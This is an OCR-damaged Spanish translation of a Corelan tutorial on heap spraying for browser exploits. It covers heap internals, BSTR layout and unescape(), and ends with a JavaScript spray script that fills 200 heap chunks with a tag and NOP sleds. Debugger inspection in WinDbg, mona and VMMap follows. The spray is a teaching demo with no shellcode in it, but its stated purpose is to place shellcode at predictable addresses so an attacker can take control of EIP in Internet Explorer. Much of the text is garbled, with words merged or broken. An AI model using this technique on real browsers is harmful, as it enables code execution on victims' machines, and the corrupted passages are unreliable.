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Comparte esto:

https://www.corelan.be/index.php/2011/12/31/explaiiting-tutorial-part-
11-heap-spraying-
demystified/#Share thisTwitterRedditFacebookDigdeainStumbleUpo
nRelated Posts

Introduccion

“Nota del traductor: Heap Spray o Heap Spraying siga pulverizacion
de Heap.

Mucho se ha dicho y escrito sobre Heap Spraying, lpemayor parte de la
documentacion existente y documentos técnicos s&aceen Internet
Explorer 7 o versiones anteriores. Aunque hay uerde sde Exploits
publicos disponibles para IE8 y otros navegaddeesacnica exacta para
ello no ha sido muy documentada en detalle. Paresip, es probable que
puedas ver la forma como funcionan buscando enkegqasits publicos.

Un buen ejemplo de este tipo de Exploits es el nodde Metasploit para
MS11 050, incluyendo los objetivos que evitan DR&a Internet
Explorer 8 en Windows XP y Windows 7, que fueroadidios posinn3r.

http://dev.metasploit.com/redmine/projects/framdui@pository/revisions
/master/entry/modules/exploits/windows/browser/m&I6D mshtml_cobj
ectelement.rb

Con este tutorial, voy a darle una vision completietallada de lo que es
Heap Spraying y como usarlo en los navegadoreguarstiy mas recientes.

Voy a empezar con algunas técnicas "antiguas"asit@s" que se pueden
utilizar en IE6 e IE7. También veremos Heap Spaypara otras
aplicaciones.

A continuacion, voy a hablar de Heap Spraying decipion, que es a
menudo un requisito para hacer que los Exploitseyiten DEP funcionen
en IE8 y los nuevos navegadores si tu Unica opesautilizar el Heap.

Voy a terminar este tutorial compartiendo un poo® wmhi propia

investigacion sobre un Heap Spray seguro que foacen los nuevos
navegadores como Internet Explorer 9 y Firefox 9.
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Como pueden ver, mi enfoque principal estara eeriet Explorer, pero
también voy a hablar de Firefox y explicar comatjuopcionalmente una
técnica dada para que sea funcional en Firefoxiamb

Antes de analizar la teoria y la mecanica detrésidap Spraying, tengo
que aclarar algo. Heap Spraying no tiene nada queon la explotacion

del Heap. Heap Spraying es una técnica de adnaicidtr de Payloads. Se
aprovecha del hecho de que puedas poner tu Pagloacha direccion

predecible en la memoria, por lo que facilmentedpsesaltar o volver a
ella.

Esto no es un tutorial sobre desbordamiento o &ptin de Heap, pero
tengo que decir unas pocas palabras sobre el Heapdyferencias entre el
Heap y la pila para asegurarme de que entiendadifeagncias entre los
dos.

La Pila o Stack

Cada hilo en una aplicacién tiene una pila. La edta limitada y tiene un
tamafnio fijo. El tamafio de la pila se define cuaselinicia la aplicacion, o
cuando un programador utiliza una APl como Createddh) y le pasa el
tamano deseado de la pila como un argumento aies@ih.

CreateThread()

http://msdn.microsoft.com/en-
us/library/windows/desktop/ms682453(v=vs.85).aspx

HANDLE WINAPI CreateThread(
__in_opt LPSECURITY_ATTRIBUTES IpThreadAttribut
_in SIZE_T dwStackSize,
_in LPTHREAD_START_ROUTINE IpStartAddress,

__in_opt LPVOID IpParameter,
_in DWORD dwCreationFlags,
__out_opt LPDWORD IpThreadid

);

La pila funciona tipo UEPS (Ultimo en Entrar Primem Salir) y no hay
administracion involucrada. Una pila se utilliza malmente para
almacenar las variables locales, guardar punteza®tdrno de funciones,
punteros de funcion, datos u objetos, argumentdsra@ones, registros del
manejador de excepciones, etc. En todos los tigserianteriores hemos
utilizado la pila extensamente, y ya debes estarilifmizado con su

funcionamiento, co6mo navegar en de la pila, etc.
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El Heap

El Heap es una bestia diferente. El Heap estdahitpatar con el requisito
de asignacion de memoria dindmica. Esto es patitiginte interesante y
necesario, por ejemplo, la aplicaciéon no sabe iédad de datos que va a
recibir o necesita procesar. Las pilas s6lo conswme parte muy pequefia
de la memoria virtual disponible en el equipo. &maistrador del Heap

tiene acceso a mucho mas memoria virtual.

Asignar

El nucleo gestiona la memoria virtual disponibleetsistema. El sistema
operativo expone algunas funciones, por lo gerexbrtado por ntdll.dll,
que permiten a las aplicaciones de zona de usoatiser-land asignar,
desasignar o reasignar memoria.

Una aplicacion puede solicitar un bloque de memaodiesde el
administrador del Heap, por ejemplo, haciendo umamdda a
VirtualAlloc(), una funcion de kernel32, que a szvermina por llamar a
una funcion en ntdll.dll. En XP SP3, las llamadasaglenadas tienen este
aspecto:

kernel32.VirtualAlloc()
-> kernel32.VirtualAllocEx()

-> ntdll.NtAllocateVirtualMemory()
-> gyscall()

VirtualAlloc()

http://msdn.microsoft.com/en-
us/library/windows/desktop/aa366887(v=vs.85).aspx

Hay muchas otras API’s que dan lugar a las asigneside Heap.
En teoria, una aplicacion también puede pedir an ioque de memoria

de Heap, utilizando HeapCreate() por ejemplo, yicaplsu propia
administracion de Heap.
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De cualquier manera, cualquier proceso tiene alosiem Heap (el Heap
predeterminado), y puede solicitar mas Heaps cuas&i necesario.
Un Heap consiste en la memoria de uno o mas segment

HeapCreate()

http://msdn.microsoft.com/en-
us/library/windows/desktop/aa366599(v=vs.85).aspx

Liberar

Cuando una parte se libera de nuevo por la apficapuede ser "tomada”
por un front-end (LookAsideList, Heap de Fragmeidtadaja (pre-Vista),
Heap de Fragmentacién baja (por defecto en Vistsumerior)) o de
asignador Back-end (freelists, etc) (dependiendtadesrsion del sistema
operativo), y se colocan en una tabla o lista coros libres de un tamafio
determinado. Este sistema se puso en marcha peea teasignaciones
(para una parte de un tamafo determinado queispténible en uno de los
asignadores Back-end o Front-end finales) maslo&pi mas eficientes.

Piensa en ello como una especie de memoria cadhgisteema. Si una
parte ya no es necesaria para la aplicacion, stequener en la caché para
gue una nueva asignacion de una parte del misnearfitamo de lugar a una
nueva asignacioén en el Heap, pero el 'administrddocaché' retornaria
simplemente un trozo que esta disponible en la mamaché.

Cuando ocurren las asignaciones y liberacionesHedp puede ser
fragmentado, lo que es malo en términos de efi@eacvelocidad. Un
sistema de almacenamiento en caché puede ayudgsraviencion de una
mayor fragmentacion dependiendo del tamafio derbagmientos que se
asignan, etc.

Esta claro que un trato justo de las estructuraged&on y mecanismos se
han establecido para facilitar toda la gestioradeémoria del Heap.

Esto explica por qué una parte del Heap, por lceggnviene con una
cabecera de Heap.

Es importante recordar que una aplicacion (procesede tener varios

Heaps. Vamos a aprender cdmo enumerar y consodtdidaps asociados
con Internet Explorer, por ejemplo, después entasteal.
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Ademas, recuerda que, a fin de mantener las casasirhples como sea
posible, cuando intentas asignar varios fragmerdes memoria, el

administrador del Heap tratara de minimizar lgrinantacion y retornara
bloques adyacentes tantos como sea posible. Esexagtamente el
comportamiento que trataremos de aprovechar ereap Spray.

Trozo vs Blogue vs Segmento

Nota: En este tutorial voy a utilizar los términt®zo" y "bloques”. Cada
vez que utilice "trozo", me refiero a la memoriaedrHeap. Cuando uso
"bloque" o "sprayblock", me refiero a los datos qumy a tratar de

almacenar en el Heap. En la literatura de admaugin de Heap, también
encontraras el término "bloque”, que no es masugaeunidad de medida.
Se refiere a los 8 bytes de memoria del HeapldPgeneral, un campo de
tamafo de la cabecera del Heap denota el nimdstoglees en el Heap (8
bytes) consumida por el trozo del Heap + su cabegeno los bytes del
trozo del Heap. Por favor, manten esto en mente.

Trozos de Heap congregados en segmentos. Encentiandenudo una
referencia (un nimero) a un segmento dentro debaaera del trozo del
Heap.

De nuevo, esto no es en absoluto un tutorial sebmeanejo de Heap o
explotacion de Heap, por lo que es mas o menosldogioe necesitas saber
sobre el Heap por ahora.

Historia

Heap Spraying no es una técnica nueva. Se documegitalmente por
SkyLined y fue un exito hace mucho tiempo.

Segun Wikipedia, el primer uso publico de Heap fpase observo en el
2001 (MS01-033). SkyLined utilizo la técnica enEBxploit de buffer de
etiqueta IFRAME en Internet Explorer en 2004. Ahd die hoy, muchos
afos después, sigue siendo la técnica numero htoee de Payloads en
Exploits de navegadores.

A pesar de los muchos esfuerzos hacia la detegcpyrevencion de Heap

Spraying, el concepto sigue funcionando. Aunquméganica de entrega
pudo haber cambiado con el tiempo, la idea bagice siendo la misma.
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En este tutorial, vamos a aprender las cosas um @pda vez, mira las
técnicas originales y mira los resultados mi padpvestigacion de Heap
Spraying en los navegadores modernos.

El concepto

Heap Spraying es una técnica de entregas de PaylBadina técnica que
te permite tomar ventaja del hecho de que el Heapleterminista y
permite que pongas tu Shellcode en alguna partdebgd, en una direccion
predecible. Esto te permitira saltar a €l con hidéad.

Para que el Heap Spraying funcione, tienes querasgignar y completar
trozos de memoria en el Heap antes de obtenen#btde EIP. ..tienes
gue podetr significa que debes tener la capacidad técnica Ipacer que la
aplicacion destinada asigne tus datos en la mepd®ienanera controlada,
antes de desencadenar dafios en la memoria.

Un navegador proporciona un mecanismo facil pacermasto. Soportan
Scripting, por lo que puedes utilizar javascriptB®Script para asignar algo
en la memoria antes de desencadenar un error.

El concepto de Heap Spraying no se limita a loggagiores. Podrias, por
ejemplo, también utilizar Javascript o ActionScuigt Adobe Reader para
poner tu Shellcode en el Heap en una direccionepible.

La generalizacion del concepto: si se puede asgtas en la memoria en
un lugar predecible antes de activar el controlEtle, es posible que
puedas usar algun tipo de Heap Spray.

Vamos a centrarnos en el navegador Web por ahbedeiiento clave en
el Heap Spraying es que tienes que ser capaz aganta Shellcode en el
lugar correcto en la memoria antes de desencadéraior que conduce al
control de EIP.

La colocacion de los distintos pasos en una limeietnpo, esto es lo que
hay que hacer para que la técnica funcione:

» Pulverizar el Heap.

» Activar el bug o vulnerabilidad.
« Controlar EIP y hacer que EIP apunte directamainitteap.
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Hay una serie de formas de asignar los bloques dmoma en un
navegador. Aunque el mas comunmente utilizado sga ben las
asignaciones de cadena de JavaScript, ciertamersi lmita a eso.

Antes de ver como asignar cadenas utilizando jaydasyg tratar de
pulverizar el Heap con él, vamos a configurar rmoesttorno.

El entorno

Vamos a empezar probando los conceptos basicosedp Bpraying en
XP SP3, IE6. Al final del tutorial, veremos Heap&png en Windows 7,
ejecutando IE9.

Esto significa que necesitards una maquina cory ¥Ra con Windows 7
(ambos de 32 bits) para poder realizar todas lasbais y ejercicios de este
tutorial.

Con respecto a XP: lo que yo suelo hacer es:
» Actualizar IE a IE8

» Instalar una versién adicional de IE6 e IE7 ejeutitael instalador
de IECollections.

I[ECollections
http://finalbuilds.com/iecollection.htm

De esa manera, puedo correr 3 versiones distitdaternet Explorer en
XP.

En Windows 7, debes usar IE8 por ahora (por defectonos a actualizar
a IE9 en una fase posterior. Si ya has actualizeelqquede simplemente
eliminar IE9 y quedarias de nuevo con IE8.

Asegurate que DEP esté deshabilitado en Windows(d&Peria estar

deshabilitado por defecto). Vamos a abordar elatelm DEP cuando
veamos IE8.
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A continuacion, vamos a necesitar Immunity Debuggera copia de
mona.py (usa la dltima versién) y, finalmente, aopia de Windbg (ahora
parte del SDK de Windows).

http://immunityinc.com/products-immdbg.shtml

http://redmine.corelan.be/projects/mona

http://msdn.microsoft.com/en-us/windows/hardwaréGR909

Puedes encontrar un buen resumen de algunos cosnded@inDbg aqui:

http://windbg.info/doc/1-common-cmds.html

Después de instalar Windbg, asegurate de habiétasoporte para
simbolos. Inicia Windbg, clic en "File" y seleccahSymbol file path", y
escribe la linea siguiente en el cuadro de textmghrate de que no hay
espacios o saltos de linea al final:

SRV*c:\windbgsymbols*http://msdl.microsoft.com/down load/symbols

Symbuol Search Path x|

Symbol path:

arveswindbgzymbolz"hittp: /fmedl. microgoft. com/download/symbolz ﬂ ok

Cancel

Help

j Browse...

[kl

" Feload

Pulsa OK. Cierra WinDbg y haz clic en "Si" parargiaa la informacion
para esta area de trabajo.

Estamos listos.

Configura la ruta simbolo correctamente y aseglatque tu maquina de
laboratorio tiene acceso a Internet cuando se tejeddindbg, es muy
importante. Si este valor no esta establecido, e sguipo no dispone de
acceso a Internet para poder descargar los arctieszembolos, la mayoria
de los comandos relacionados con el Heap puedan fal
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Nota: si alguna vez deseas utilizar el depuradotirtea de comandos
ntsd.exe instalado con Windbg, es posible que degear una variable de
entorno _NT_SYMBOL_PATH y configurarla usando:

SRV*c:\windbgsymbols*http://msdl.microsoft.com/downioad/symbols

Edit System Wariable el
Mariable name: I _MT_S¥YMBOL_PATH
Wariable walue: I SRY*owindbgsymbols*hktp: [ fmsdl microse
(] 4 I Zancel |

La mayoria de las secuencias de comandos queligarugn este tutorial
pueden ser descargadas desde nuestro servidone2dmi

http://redmine.corelan.be/projects/corelan-heagspra

Recomiendo descargar el archivo zip y utilizardasuencias de comandos
desde el archivo en lugar de copiar o pegar lagtsae este post.

Ademas, ten en cuenta que tanto esta entrada aglybkl archivo zip
podrian desencadenar una alerta de Antivirus. diihao comprimido esta
protegido con contrasena. La contrasenardgscted’ (sin las comillas).

Asignaciones de cadena
Rutina béasica

La manera mas obvia de asignar algo en la memeliaalegador con
javascript es creando una variable de string ynasign valor a la misma:

basicalloc.html

<htmlI>
<body>
<script language="javascript'>

myvar =" CORELANT,
(“Asignacion lista”);

</script>
</body>
</html>
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Bastante simple, ¢ verdad?

Algunas otras maneras de crear strings que dam lugaignaciones del
Heap son:

myvar =" CORELANT,
myvar2 = (" CORELANY);

myvar3 = myvar + myvar2;
myvar4 = myvar3.substring(0,8);

Mas informacién sobre las variables de JavaSceipiede encontrar aqui.

http://www.w3schools.com/js/|s_variables.asp
Hasta aqui todo bien.

Al mirar la memoria del proceso, y localizar larsirreal en la memoria, te
daras cuenta de que cada una de estas variablxse pger convertida a
Unicode. De hecho, cuando se asigna una stringprsgerte en un objeto
de string BSTR.

http://msdn.microsoft.com/en-us/library/1b2d7d2&44389-a6b6-
b01b7e915228(VS.85)

Este objeto tiene una cabecera y un terminadogaymente contiene una
instancia de la string original convertida a Unieod

La cabecera del objeto BSTR es de 4 bytes (DWORLZpmtiene la
longitud de la string Unicode. Al final del objetogs encontramos con un
byte nulo doble, lo que indica el final de la caalen

! terminator

String (UNICODE) t 0000

En otras palabras, el espacio real consumido postiimg dada es:

( of the string * 2) + 4 bytes (header) + 2

(terminator)
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Si abres el archivbtml inicial (el que tiene una sola variable y la a&gn
Internet Explorer 6 o 7 en XP, deberias ser capagndontrar la string en
la memoria.

Ejemplo (string "CORELAN!", Que es de 8 caracteres)

La cabecera en este ejemplo es 0x00000010 (16, loype® se esperaba),
seguido de 16 bytes UNICODE, seguido por un byte doble.

Nota: puedes encontrar cadenas Unicode en ImmDBGnoma:

-s" CORELANT -unicode -x *

Si deseas realizar una busqueda similar en Wiretlig,es la sintaxis:

S -u 0x00000000 L?0x7fffffff " CORELAN!

Reemplaza -u por -a si deseas buscar ASCII enevéingtode.

Nuestro sencillo Script ha vuelto una asignacidtvidual pequefia en el
Heap. Podriamos tratar de crear un grupo de vada@ue contengan
nuestra Shellcode y espero que terminemos la asignae una de las
variables en un lugar predecible, pero tiene queethana manera mas
eficiente de hacer esto.

Debido al hecho de que el Heap y las asignacioredsHeap son
deterministas, es razonable suponer que, si ce@nt@signano trozos de
memoria, las asignaciones van a terminar siendsecoiivas o adyacentes
(que establece que los bloques son lo suficientesrgrandes para crear
asignaciones y no ser asignadas desde un asigfradtend o backend.
Ese Ultimo escenario se traduciria en trozos quasgman por todo el
lugar, en las direcciones menos predecibles.

Aunque la direccién de inicio de las primeras asogones puede variar, un
Heap Spraying bueno (si se hace bien) terminarasignacion de un
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bloque de memoria en un lugar predecible, despeamd cierta cantidad
de asignaciones.

Sdlo tenemos que encontrar la manera de hacetim,que la direccion
predecible seria.

Unescape()
Otra cosa que tenemos que tratar es la transfodbmadnicode. Por suerte
hay una solucion facil para eso. Podemos utilizafuincion unescape

javascript().

Segun w3schools.comttp://www.w3schools.com/jsref/jsref _unescape.asp

Esta funcion "decodifica una string codificada".i fsie, si le agregamos
algo y le hacemos creer que ya es Unicode, ya ntraltsformara a

Unicode mas. Eso es exactamente lo que vamos aUmsaredo secuencias
% u. Una secuencia tiene 2 bytes.

Ten en cuenta que dentro de cada par de bytelytes deben ponerse en
orden inverso.

Por lo tanto, supongamos que deseas guardar "CORELlgn una
variable, utilizando la funciéaonescape en realidad se necesita para poner
los bytes en este orden:

OC ER ALI'N

basicalloc_unescape.htmi no te olvides de quitar las barras invertidas en
los argumentos de unescape.

<html|>
<body>
<script language="javascript'>

myvar = (%U\F43%U\4552"); /I CORE
myvar += (%U\414C%U\214E); /I LAN!

(“Asignacion lista”);

</script>
</body>
</html>
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Busca Strings ASCII con Windbg:

0:008> s -a 0x00000000 L?7fffffff " CORELAN
001dec44 43 4f 52 45 4c 41 4e 21-00 00 00 00 c2 1e

0:008> d 001dec40
001dec40 08 00 00 00 43 4f 52 45-4c 41 4e 21 00 00

La cabecera BSTR indica un tamaio de 8 bytes afittla endian,
recuerda, por lo que los primeros 4 bytes son 03QQ008).

Una de las cosas buenas acerca de la funciéacapees que vamos a ser
capaces de utilizar bytes nulos. De hecho, en @ap I3pray, por lo general
no tienes que lidiar con caracteres malos. Desgaé®do, simplemente
vamos a almacenar nuestros datos en la memor@atirente.

Por supuesto, la entrada que se utiliza para pan\vedug real, puede estar
sujeto a las restricciones de entrada o la corbapci

Disefno de la memoria del Heap Spray deseado

Sabemos que podemos desencadenar una asignaci@ndgia mediante

el uso de variables simples de strings en javdsdrgstring que usamos
en nuestro ejemplo era bastante pequefia. La Stkelk®ria mas grande,
pero todavia relativamente pequefia en comparacdriaccantidad total

de memoria virtual disponible para el Heap.

En teoria, se podria asignar una serie de variabdeta una con nuestra
Shellcode, y entonces podriamos tratar de saltesraénzar de uno de los
blogues. Si nos limitamos a repetir la Shellcodetpdo el lugar, que en
realidad tendriamos que ser muy precisos (no poslgmeomitirnos no
aterrizar en el inicio exacto de la shellcode).

En lugar de asignar la Shellcode varias veces, sant@acerlo un poco mas
facil y crearemos trozos bastante grandes qudeasods los siguientes dos
componentes:

* NOP’s (muchos NOP’s).
» Shellcode (en el extremo del trozo).

Translated with permission of corelancOd3r — Traducido con permiso de corelancOd3r



Creacién de Exploits 11: Heap Spraying Desmitificaol por
corelancOd3r traducido por lvinson/CLS

Si utilizamos trozos que sean lo suficientementandgs, se puede
aprovechar la granularidad de asignacion de blodaeksieap del espacio
de usuario (userland) de Win32 y el comportamiel@ioHeap predecible,
lo que significa que vamos a estar seguros de auze determinada
direccién apunte a los NOP’s cada vez que las asimmes sucedan o el
Heap Spray sea ejecutado.

Si luego saltamos a los NOP’s, vamos a terminaijataitar la Shellcode.
Tan simple como eso.

Desde la perspectiva de bloque, esto seria loemesos que poner juntos:

Direccion Alta

Variable n

< RN mas EER >

Variable 3

© 2077 Wi

Variable 2

shellcode

Variable 1
shellcode

Direccion Baja

Al poner todos los bloques de la derecha uno thias vamos a terminar
con un area de memoria de gran tamafo que teraidstde Heap con
NOP’s consecutivos + la Shellcode.
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Asi, desde una perspectiva de memoria, esto agltepemos que lograr:

Antes del Spray Después del Spray

300 Mb 300 Mb

200 Mb 200 Mb

@ 2011 - www.corelan.be

100 Mb 100 Mb

Fragmentacion

Libre [ Con Spray(usado)

Las primeras asignaciones pueden terminar comonas@nes con
direcciones no confiables debido a la fragmentacnporque las
asignaciones pueden ser retornadas por cache wadsmgs front-end o
back-end. A medida que contindas pulverizando (Bprse iniciara la
asignacion de blogues consecutivos, vy, finalmdiggara a un punto en la
memoria que siempre apuntara a los NOP’s.

Al elegir el tamafno correcto de cada fragmentogpuoas tomar ventaja de
la alineacion del Heap y el comportamiento deteistan basicamente,
asegurandote de que la direccién seleccionada enelaoria siempre
apunte a los NOP’S.

Una de las cosas que no hemos visto hasta ahola,rekcién entre el
objeto BSTR, y el trozo real en el Heap.

Al asignar una string, se convierte a un objeto BSWPara guardar el
objeto en el Heap, se solicita un trozo desde Hglap.qué tamafio va a ser
este fragmento? ¢Es ese trozo del mismo tamafielgaobjeto BSTR?
¢, O sera mas grande?

Translated with permission of corelancOd3r — Traducido con permiso de corelancOd3r



Creacién de Exploits 11: Heap Spraying Desmitificaol por
corelancOd3r traducido por lvinson/CLS

Si es mas grande, ¢los objetos BSTR siguiente®leeacan dentro del
mismo trozo del Heap? ¢ O simplemente el Heapdeasigin nuevo trozo
del Heap? Si ese es el caso, se podria terminartroans del Heap
consecutivos que se parecen a esto:

Trozo de Heap Trozo de Heap

Si una parte del trozo de Heap actual contienesdatpredecibles o si hay
algun tipo de "agujero" entre 2 trozos, que inclados impredecibles,
entonces eso podria ser un problema. No podemastiperos que salte al
Heap si hay una gran posibilidad de que la ubicaei@onde saltaremos
contenga "basura".

Q

®
£
ml
ul
a
a8
M
Q

Eso significa que hay que seleccionar el tamafobgeto BSTR correcto,
por lo que el tamafio real asignado del trozo delpHeeria lo mas cercano
posible al tamafio del objeto BSTR.

En primer lugar, vamos a crear un script para asigna serie de objetos
BSTR y vamos a buscar la forma de encontrar lggasiones del Heap
correspondientes y volcar su contenido.

Script Basico

Utilizando una serie de variables individuales espoco exagerado y
probablemente incbmodo para lo que queremos h&eaemos acceso a
un completo lenguaje de programacion de Script, Ipogue también
puedes decidir utilizar un array, una lista u oobgetos disponibles en ese
lenguaje de script para asignar los bloques de Bl®Shellcode.

Al crear un array, cada elemento también se can¥esh una asignacion
en el Heap, de modo que puedes usar esto parauwrrggan numero de
asignaciones de una manera facil y rapida.

La idea es hacer bastante grande cada elemengordg] y contar con el

hecho de que los elementos del array se convedir@signaciones que se
colocan cerca o junto a la otra en el Heap.
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Es importante saber que, con el fin de desencadenar adecuada
asignacion del Heap, hay que concatenar dos stimgdenar el array. Ya
que, estamos armando NOP’s + Shellcode, estovies tpile hacer.

Vamos a poner un Script basico y sencillo junto asignaria 200 bloques
de 0x1000 bytes (= 4096 bytes) cada uno, lo que tadotal de 0,7 MB.

Vamos a poner una etiqueta ("CORELAN!") En el ioide cada bloque, y
llenar el resto del bloque con NOP’S. En la vidd, nesariamos NOP’S al
comienzo y final del bloque con la Shellcode, peeodecidido usar una
etigueta en este ejemplo para que podamos encagitiaicio de cada
bloque de memoria muy facilmente.

Nota: esta pagina o post no muestra correctaméatg@nentaunescape
He insertado una barra invertida para evitar que ¢aracteres se
representen. No te olvides de quitar las barrasriitlas si vas a copiar la
secuencia de comandos de esta pagina. El arclpvoomntiene la version
correcta de la pagina html.

sprayl.html

<html>

<script >

/I Script de Heap Spray de prueba.

/I corelancOd3r

/I No olvides quitar las barras invertidas.

tag = ('%u\4F43%u\4552"); /l CORE
tag += ('%u\414C%u\214E"); /l LAN!

chunk =";
chunksize = 0x1000;
nr_of chunks = 200;

( counter = 0; counter < chunksize; counter++)

chunk += ("%u\9090%u\9090"); /Inops

.write(“Tamafio de NOPs en este punto : "
chunk.length. 0+" <br>");
chunk = chunk.substring(0,chunksize - tag. );
.write(“Tamafio de NOPS después de la subcadena :
chunk.length. 0+" <br>");

/I Crea el array.
testarray = 0;

( counter = 0; counter < nr_of_chunks; counter++)
{

testarray[counter] = tag + chunk;
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.write(“Asignado “ +
(tag. +chunk. ). O0+" bytes<br> ")
}

</script>
</html>

Por supuesto, 0,7 MB puede no ser lo suficienteengmande en un
escenario de la vida real, pero sélo estoy tratatleddemostrar la técnica
basica en este punto.

Visualizando el Heap Spray - IE6

Empecemos abriendo el archivo HTML en Internet &rgal 6 (version
6.00.2900.2180). Al abrir la pagina HTML en el ngador, podemos ver
algunos datos que se escriben en la pantalla.ielgaaor parece procesar
algo durante unos segundos y al final del Scripgstra un MessageBox.

Address 48] C:hsprayispray!.himl

suze of MIOFS at thes pont : 8192

suze of MIOPS after substring . 4052

Allocated 4056 bytes

Aflocated 4096 bytes

Allocated 4056 bytes )
Allocated 4096 bytes Microsoft Internet Exploese S
Allocated 4096 bytes

Allocated 4096 bytes 1Y, spray done

Allocated 4096 bytesz

Allocated 4096 bytes n
Allocated 4096 bytes -
Allocated 4096 bytes
Aocated 4096 bites
Allocated 4096 bytes
Alocated 4096 bytes
Allocated 4096 bytes

&Nlarated ANGE Fartes

Lo que es interesante aqui, es que la longitudadetiueta cuando se
utiliza la funcion unescape parece retornar 4 bytes, y no 8 como
hubiéramos esperado.

Mira la linea de “size of NOP’S after substring™tamafio de NOP’S
después subcadena”.
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El valor dice 4092, mientras que el cddigo javadcpara generar el
fragmento es:

chunk = chunk.substring(0,chunksize - tag.

La etigueta es "CORELAN!", la cual es de 8 bytksamente. Asi que,

parece que la propiedad de .length en el ohjeescape(yetorna sélo la
mitad del tamafo real.

Sin tomar en cuenta que puede conducir a resultatksperados, ya
hablaremos luego.

Con el fin de "ver" lo que pas6, podemos utilizaa tnerramienta como
VMMap.

http://technet.microsoft.com/en-us/sysinternalsBEs3

Esta utilidad gratis nos permite visualizar la mamweirtual asociada a un
determinado proceso.

Al atacar Internet Explorer con VMMap antes de rakai pagina html,
vemos algo como esto:

Il ¥MMap - Sysinternals: www.sysinternals.com

_{B[x]
File Edt View Options Help
4 Process: iexplore.exe
g PID: 3592
Committed: 74304 K
Private Bytes: T.89ZK
Warking Set: 17:228K
Type 5 Comitied Fiivale Tol W3 Piivale WS | Shareabls WS Shaied WS Locked W5 Blocks Largest
Image 56844 K 56 Bdi K. T.112K 11104 K 1532K 972K SE3EK 368 10836 K
Mapped Fik 2080K 060K 208K 208k 136K 11 1.212K
Shareatle 7054 K 2160K 572K 572K 454K 40 3072K
Heap 400K 2364K 2872 1356 K 1.388K 8K 8K a0 102K
Managed Heap
Stack, 144K 128K 128K 104K 104K 18 1.024K
Private Dat. 8.228K 151EK 1516 K 1120 116K 4K 4K 44 4096 K.
Page Table 27641 2764K 2764K 2764 K 2764K
Unusable EABBK. B4BBK 60K
Fiee 2005.440K 43 431.200K
Address ~ s | Protection [ Details A
T OO 0000, T Readd e _J
00020000 1 Read/wiite
00030000 2 Read/Wits HeapID:§
00040000 3 Read/wiite. Thread 1D: 2124
00120000 2K 1 Fiead
00150000 Heap (PrivateData]  1.024K  SIEK SEK 912K SizK 2 Fieadfiie Heap ID: 0 (Disfaul] [LOW FRAGMENTATICN]
00250000 Hean (FrivteDatal 64K 2K 1S 215 K 2 Read/Wiite HeapID: 1
00260000 Heap (Shareable] 64K 12K sk gk BK 2 Fread/Wiite HeaplD: 2
00270000 Mapped Fil 82K 88K 20K WK WK 1 Riead CAWINDDWS system32\unicade nls
00290000 Mapped Fll 260K 0K 12K 12K 12K 1 Fiead CAWINDOWS system32\acale.nls
002E0000 Mapped Fil 260K 260K, 12K 12K 12K 1 Fiead CAWINDDWS systemaZ\sorkey.nls
00330000 Mapped File 24K 24K 16K 16K 16K 1 Fread CAWINDOWS system32\sottbls.rls
00320000 Shareable 8K 8, 3K 9K 1 Fiead
00350000 Heap (PrivateData] 64K 2K K 2K 2K 2 Fieadfifie Heap ID: 3 {LOW FRAGMENTATION]
00360000 Heap [PrivateDats] 64K 16K 16K 16K 16K 2 Read/Wiite. eap ID; 4
00370000 Mapped File 12K 12K aK 8K BK 1 Fiead CAWINDDWS\system 32\ctype.ris -
00360000 | | 3
Tireines | [Feenaleestana| calmesn |||
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Si le damos clic eNiew — Fragmentation view, vemos esto:

Después de abrir nuestro archivo HTML que contieinsencillo codigo
JavaScript, VMMap muestra esto:

Presiona F5 para actualizar.
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Puedes ver que la cantidad de bytes comprometalasiinentado un poco.
La vista fragmentacién muestra:

|4
Il Address Space Fragmentation =10} x|

00000000 & H

T

T

Presta atencion al bloque amarillo cerca del filgala ventana, justo antes
de que una gran parte de los espacios en blancqu&asolo ejecuto el
coédigo que realiza un Heap Spray, y este es elougm@n cambio
comparado con la vista de fragmentacién que hersbs &nteriormente,
podemos esperar que se trate de la memoria deldieapontiene nuestros
bloques "pulverizados." Si haces clic en el blognearillo, la ventana
principal de VMMap se actualizara y mostrara egade direcciones de
memoria seleccionada. Uno de los bloques se iaiti@x029E0000 en mi
ejemplo.

| | [70an - Spamsibindes mam ppsbilwttlizon alit] ]
Prisidd: @il A
o o it
T s =l
Comindted. BOO000CD0 o [E T
= H T ]
Frwaln Eﬁ-_r_ | _7“_?!:
Woknglet I s
= I
————— —
brwes TERF
M appeeed Fie | 1EHE
Shamabis ITK
= | =T
M
ﬂ;‘w = | 1ENE
Frevaie Do 4K

prises

i,

| e

(13 Tiiewl yrin/lums Thead - 1
13 3 ReatAwiin Siamd rowad £ 20
2 Plawdiwisie

16K i 1 Resd WD TWS s oprbin 20 kil
2 Mt

13
R Raprliee: =
] L!J
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No cierres VMMap aun.

Usando un depurador para ver el Heap Spray

Visualizar el Heap Spray es agradable, pero esrmejoel Heap Spray y
encontrar los trozos individuales en un depurador.

Immunity Debugger (ImmDBG)

Attacha iexplore.exe con ImmDBG. El que aun esta conectado con
VMMap.

4. Immunity Deb

File Wiew Debug Plugins Immbib  Options  Window  Help  Jobs
OB EE Maxp I MY lemtwhcPkbzr

rinciex =T

FI0 Hame Seruice Listenin I indow Fath -

w
Attach I Cancel |

Ya que, estamos mirando el mismo proceso y la mmeraoria virtual, es
facil confirmar con InmDBG que el rango de memaé@eccionada en
VMMap realmente contiene el Heap Spray.

Vamos a ver todos los lugares que contiene "COXREL ejecutando el
siguiente comando daona:

-s" CORELAN!
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O -_ e ) B ] e - 1 .

Imona find -s "CORELAN!"

Mona ha localizado 201 copias de la etiqueta. Estaxastamente lo que
esperabamos - nos asignd la etiqueta una vez cudedaramos la
variable, y el prefijamos 200 trozos con la etiquet

Cuando mires en el archiiond.txt generado por el comando de mona,
encontraras todas las 201 direcciones donde seemnaula etiqueta,
incluyendo punteros de la gama de direccion seleada con anterioridad
en VMMap.

Si ves en el Dump 0x02bc3b3c, por ejemplo, quearmmme en el archivo
find.txt en mi sistema, es el Gltimo bloque asignadndras que buscar la
etiqueta seguida por NOP’S.

d 0x02bc3b3c

Translated with permission of corelancOd3r — Traducido con permiso de corelancOd3r



Creacién de Exploits 11: Heap Spraying Desmitificaol por
corelancOd3r traducido por lvinson/CLS

Justo antes de la etiqueta, deberiamos ver laea@bBSTR:

d 0x02bc3b3c-4

En este caso, la cabecera del objeto BSTR indicatamano de
0x00002000 bhytes. ¢(Eh? Pensé que asignaba 0x1(@8 (4096).
Volveremos a esto en un minuto.

Si te desplazas a direcciones menores, deberiaa fieal del fragmento
anterior:

d 0x02be3bic
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También podemos ver un poco de basura entre log@st

